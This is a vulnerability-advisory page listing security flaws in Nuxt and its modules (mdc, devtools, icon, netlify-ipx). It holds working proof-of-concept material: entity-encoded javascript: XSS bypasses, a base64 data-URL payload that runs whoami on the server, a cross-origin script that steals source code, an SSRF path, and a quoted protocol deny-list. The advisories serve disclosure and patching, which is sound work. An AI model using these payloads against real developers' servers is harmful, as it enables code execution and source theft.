Where
-Infinity
0
Severity
10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

https://nuxt.com had a hardcoded GitHub token in the source code of the page. This token had access to multiple repositories under nuxt, nuxtlabs and nuxt-themes GitHub organizations. A patch in version 1.6.2 fixed the issue.

1 / 2
First published (updated )
Severity
9.8
Code Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Code Injection in GitHub repository nuxt/nuxt prior to 3.5.3.

1 / 2
First published (updated )
Severity
9.3
EPSS
0.04%
XSS
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L

Summary An unsafe parsing logic of the URL from markdown can lead to arbitrary JavaScript code due to a bypass to the existing guards around the javascript: protocol scheme in the URL.

Details

The parsing logic implement at https://github.com/nuxt-modules/mdc/blob/main/src/runtime/parser/utils/props.ts#L16 maintains a deny-list approach to filtering potential malicious payload. It does so by matching protocol schemes like javascript: and others.

Specifically, this is the code from the mdc library's parser that is not secure enough:

js export const unsafeLinkPrefix = [ 'javascript:', 'data:text/html', 'vbscript:', 'data:text/javascript', 'data:text/vbscript', 'data:text/css', 'data:text/plain', 'data:text/xml' ]

export const validateProp = (attribute: string, value: string) => { if (attribute.startsWith('on')) { return false }

if (attribute === 'href' || attribute === 'src') { return !unsafeLinkPrefix.some(prefix => value.toLowerCase().startsWith(prefix)) }

return true }

These security guards can be bypassed by an adversarial that provides JavaScript URLs with HTML entities encoded via hex string.

PoC

The following URL payloads if provided to the markdown parsing library (such as through the usage of import { parseMarkdown } from '@nuxtjs/mdc/runtime';) will trigger the alert() dialog:

markdown ✅ This is correctly escaped by the parser

- XSS Attempt:

<a href="javascript:alert(1)"> this gets sanitizied, yay!</a>

❌ These are vulnerable and not escaped

- Bypass 1:

<a href="jav&#x09;ascript:alert('XSS');">Click Me 1</a>

- Bypass 2:

<a href="jav&#x0A;ascript:alert('XSS');">Click Me 2</a>

- Bypass 3:

<a href="jav&#10;ascript:alert('XSS');">Click Me 3</a>

Impact

Users who consume this library and perform markdown parsing from unvalidated sources such as LLM generative text responses, user input and other untrusted sources could result in rendering vulnerable XSS anchor links.

Reference

You may infer the following write-up for more in-depth walkthrough of URL parsing problems and suggestions on how to securely address them: How to Parse URLs from Markdown to HTML Securely?

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary Nuxt Devtools is missing authentication on the getTextAssetContent RPC function which is vulnerable to path traversal. Combined with a lack of Origin checks on the WebSocket handler, an attacker is able to interact with a locally running devtools instance and exfiltrate data abusing this vulnerability.

In certain configurations an attacker could leak the devtools authentication token and then abuse other RPC functions to achieve RCE.

Details The getTextAssetContent function does not check for path traversals (source), this could allow an attacker to read arbitrary files over the RPC WebSocket.

The WebSocket server does not check the origin of the request (source) leading to CSWSH. This may be intentional to allow certain configurations to work correctly.

Nuxt Devtools authentication tokens are placed within the home directory of the current user (source).

In the scenario that: + The user has a Nuxt3 Project running + Devtools is enabled and running + The project is placed within the users home directory. + The user visits a malicious webpage + User has authenticated with devtools at least once

The malicious webpage can connect to the Devtools WebSocket, perform a directory traversal brute force to find the authentication token, then use the authenticated writeStaticAssets function to create a new Component, Nitro Handler or app.vue file which will run automatically as the file is changed.

PoC POC will exploit the Devtools server on localhost:3000 (you may need to manually restart the server as the restart hook does not always work).

POC: https://devtools-exploit.pages.dev

1. Create a new project with nuxt.new. 2. Place the project inside your home directory. 3. Run pnpm run dev. 4. Open the POC page.

The POC will: + Identify devtools version. + Leak your devtools token. + Create a new server handler with an insecure eval.

Impact + All new Nuxt projects by default (devtools is enabled) are vulnerable to arbitrary file read. + Certain Nuxt configurations are vulnerable to Remote Code Execution

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal, Code Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary Due to the insufficient validation of the path parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.

Details While running the test, a special component named NuxtTestComponentWrapper is available. https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43

This component loads the specified path as a component and renders it.

https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27

There is a validation for the path parameter to check whether the path traversal is performed, but this check is not sufficient.

https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19

Since import(...) uses query.path instead of the normalized path, a non-normalized URL can reach the import(...) function. For example, passing something like ./components/test normalizes path to /root/directory/components/test, but import(...) still receives ./components/test.

By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following: data:text/javascript;base64,Y29uc29sZS5sb2coMSk

Since resolve(...) resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...) sees it as an absolute URI, and loads it as a JavaScript.

PoC 1. Create a nuxt project and run it in the test mode: npx nuxi@latest init test cd test TEST=true npm run dev 2. Open the following URL: http://localhost:3000/nuxtcomponenttest/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk 3. Confirm that the output of whoami is written to /tmp/test

Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4

Impact Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
SSRF, XSS
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary nuxt/icon provides an API to allow client side icon lookup. This endpoint is at /api/nuxticon/[name].

The proxied request path is improperly parsed, allowing an attacker to change the scheme and host of the request. This leads to SSRF, and could potentially lead to sensitive data exposure.

Details The new URL constructor is used to parse the final path. This constructor can be passed a relative scheme or path in order to change the host the request is sent to. This constructor is also very tolerant of poorly formatted URLs.

As a result we can pass a path prefixed with the string http:. This has the effect of changing the scheme to HTTP. We can then subsequently pass a new host, for example http:127.0.0.1:8080. This would allow us to send requests to a local server.

PoC Make a request to /api/nuxticon/http:example.com, observe the data returned has been fetched from a different resource than intended.

I typically try to find an example within Nuxt infrastructure that is vulnerable to these types of bugs, but I could not identify any with this endpoint enabled.

Impact + SSRF, potential sensitive data exposure. + I do not believe this can be chained into an XSS, but it may be possible. + Does not have a security impact on services deployed on Cloudflare Workers. + Does not impact certain builds and modes (like static builds). + Can be mitigated using by disabling the fallbackToApi option.

Fix + Ensure the host has not been changed after the path is parsed. + Alternatively, prefix the path with ./.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
XSS
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Summary The navigateTo function attempts to blockthe javascript: protocol, but does not correctly use API's provided by unjs/ufo. This library also contains parsing discrepancies.

Details The function first tests to see if the specified URL has a protocol. This uses the unjs/ufo package for URL parsing. This function works effectively, and returns true for a javascript: protocol.

After this, the URL is parsed using the parseURL function. This function will refuse to parse poorly formatted URLs. Parsing javascript:alert(1) returns null/"" for all values.

Next, the protocol of the URL is then checked using the isScriptProtocol function. This function simply checks the input against a list of protocols, and does not perform any parsing.

The combination of refusing to parse poorly formatted URLs, and not performing additional parsing means that script checks fail as no protocol can be found. Even if a protocol was identified, whitespace is not stripped in the parseURL implementation, bypassing the isScriptProtocol checks.

Certain special protocols are identified at the top of parseURL. Inserting a newline or tab into this sequence will block the special protocol check, and bypass the latter checks.

PoC POC - https://stackblitz.com/edit/nuxt-xss-navigateto?file=app.vue

Attempt payload X, then attempt payload Y.

Impact XSS, access to cookies, make requests on user's behalf.

Recommendations As always with these bugs, the URL constructor provided by the browser is always the safest method of parsing a URL.

Given the cross-platform requirements of nuxt/ufo a more appropriate solution is to make parsing consistent between functions, and to adapt parsing to be more consistent with the WHATWG URL specification.

Note I've reported this vulnerability here as it is unclear if this is a bug in ufo or a misuse of the ufo library.

This ONLY has impact after SSR has occurred, the javascript: protocol within a location header does not trigger XSS.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
XSS
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

@nuxt/devalue before 1.2.3, as used in Nuxt.js before 2.6.2, mishandles object keys, leading to XSS.

First published (updated )
Severity
6.1
XSS, SSRF
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

netlify-ipx is an on-Demand image optimization for Netlify using ipx. In versions prior to 1.2.3, an attacker can bypass the source image domain allowlist by sending specially crafted headers, causing the handler to load and return arbitrary images. Because the response is cached globally, this image will then be served to visitors without requiring those headers to be set. XSS can be achieved by requesting a malicious SVG with embedded scripts, which would then be served from the site domain. Note that this does not apply to images loaded in <img> tags, as scripts do not execute in this context. The image URL can be set in the header independently of the request URL, meaning any site images that have not previously been cached can have their cache poisoned. This problem has been fixed in version 1.2.3. As a workaround, cached content can be cleared by re-deploying the site.

First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Reflected in GitHub repository nuxt/framework prior to v3.0.0-rc.13.

First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - DOM in GitHub repository nuxt/framework prior to v3.0.0-rc.13.

First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Generic in GitHub repository nuxt/framework prior to 3.2.1.

First published (updated )
Severity
5.3
EPSS
0.04%
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxtapp, the attacker can get the source code.

PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run npm run dev 1. Open http://localhost:3000 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console.

js const script = document.createElement('script') script.src = 'http://localhost:3000/nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxtapp) { const moduleList = window.webpackChunknuxtapp[page][1] console.log(moduleList)

for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script)

!image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact Users using webpack / rspack builder may get the source code stolen by malicious websites.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.04%
Infoleak
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Summary Nuxt allows any websites to send any requests to the development server and read the response due to default CORS settings.

Details While Vite patched the default CORS settings to fix https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6, nuxt uses its own CORS handler by default (https://github.com/nuxt/nuxt/pull/23995).

https://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/client.ts#L257-L263

That CORS handler sets Access-Control-Allow-Origin: .

[!IMPORTANT] If on an affected version, it may be possible to opt-out of the default Nuxt CORS handler by configuring vite.server.cors.

PoC 1. Start a dev server in any nuxt project using Vite by nuxt dev. 2. Send a fetch request to http://localhost:3000/nuxt/app.vue (fetch('http://localhost:3000/nuxt/app.vue')) from a different origin page.

Impact Users with the default server.cors option using Vite builder may get the source code stolen by malicious websites

Additional Information /nuxtvitenode/manifest / /nuxtvitenode/module also seems to have Access-Control-Allow-Origin: , so it maybe also possible to exploit that handler. https://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/vite-node.ts#L39 Although I didn't find a valid module id. Note that this handler is probably also vulnerable to DNS rebinding attacks as I didn't find any host header checks.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203